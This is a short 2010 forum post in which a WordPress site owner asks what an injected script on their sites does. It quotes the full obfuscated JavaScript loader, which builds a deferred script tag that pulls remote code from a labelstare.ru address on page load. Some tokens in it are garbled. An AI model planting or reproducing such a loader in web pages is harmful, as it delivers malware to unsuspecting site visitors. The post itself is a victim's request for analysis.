anyone seen this? code injection..

• May 10, 2010

I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to…
<script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN=’Vj’} catch(VN){};this.tz=”;var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w–;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF=’se’} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW=”;var Dy={ho:false};s=N[L](B);this.Nf=”;var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo=”;var mI=”;this.QG=8292;this.QG–;};}var iQ=new String();X[g]=c;Ue=[];var lY=”;};h();var SH=55617;</script>
<!–b9a827d8a9686a8057739c6e91a4cbcc–>
Read more at: gfy.com